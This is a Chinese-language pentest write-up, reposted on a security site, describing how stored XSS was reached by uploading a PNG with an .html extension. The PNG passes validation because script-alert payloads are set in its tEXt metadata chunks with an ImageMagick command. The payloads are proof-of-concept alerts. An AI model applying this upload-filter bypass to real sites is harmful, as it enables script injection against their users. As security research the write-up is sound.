欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

从PNG tEXt到存储型XSS

来源:本站整理 作者:佚名 时间:2018-04-17 TAG: 我要投稿


最近在对某客户的站点做测试时我遇到了一些麻烦。在对许多上传点测试后我发现这些上传点都有着非常严格的文件过滤机制只接受扩展名为.PNG的文件。但就在我一筹莫展时我发现了一个上传点允许我们上传带有.html扩展名的文件。这令我感到非常的意外。这意味着我们可以将一些内容上传至blobs中如下所示
{“Name”:”image.png.html”,”Data”:”data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==”}
(simple 1px red dot)
更改数据键入任何有趣的内容data:html, url,等未通过验证。将PNG更改为任何内容也无法通过验证假设它不是合法的PNG。但是在生成的HTML页面上Base64被解码并执行如下所示:
‰PNG  IHDRo&åIDAT×cøÿÿ?Ã Ã „Ð1ñ‚XÍ
õ5ËÑŽ
IEND®B`‚
既然如此那么如果我在base64的末尾加上 “/>alert(“xss”);”代码是否会被执行呢可惜的是经过我的测试JS代码并未被执行。
堆栈溢出建议对魔术字节头进行检查以确保PDF的有效性即检查前几个字节是否为“0×89 0×50 0x4E 0×47 0x0D 0x0A 0x1A 0x0A”。
所以我用魔术字节构造了一个“假”的PNG然后将“/>alert(“XSS”);”作为一个字节数组并对其进行了编码。同样验证失败但这是一件好事只检查了魔术字节。当前他们使用的是.NET因此我想他们会做类似于下面的事情。
try
          {
              using (var ms = new MemoryStream(mPNGBytes))
              {
                  var aa = Image.FromStream(ms);
                  if (aa.Height >= 0)
                  {
                      Console.WriteLine("Valid image");
                  }
              }
          }
          catch (Exception)
          {
             // invalid PNG
          }
我花了一点时间来敲代码希望通过一个合法的PNG来帮助我完成任务。我将XSS字符串作为字节数组插入到位置1位置2…然后以迭代的方式插入或追加剩余的字节以查看是否在某个过程中通过验证。但最终什么也没发生这里浪费了我不少的时间。
关闭RFC。可以将“text blocks”添加到PNG文件中https://www.w3.org/TR/2003/REC-PNG-20031110/#11tEXt。这些是对元数据版权等有效的合法内容。这里我们使用ImagMagick来完成命令如下:
convert Head_red.png -set 'Copyright' '/>script>alert("1");script>' -set 'Title' '/>script>alert("2");script>' -set comment '/>script>alert("3");script>' OUT.png
将以下页脚添加到PNG。

验证通过使用html端点上传结果如下:
{"Name":"image.png.html","Data":"data:image/png;base64,}
以及响应:
{"Id":845,"Name":"image.png.html","StorageFolder":"fjgsc452kgebjli2","ContentType":"","Size":31115,"Height":739,"Width":590,"Deleted":false,"Created":"0001-01-01T00:00:00","DomainId":0,"Domain":null,"ApplicationUserId":null,"ApplicationUser":null,"PrivacySetting":"MyCompany","Tags":[],"Url":"https://████████████.blob.core.windows.net/images/fjgsc452kgebjli2/image.png.html","ThumbnailUrl":"https://████████████.blob.core.windows.net/images/fjgsc452kgebjli2/image.png_thumbnail.html"}

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载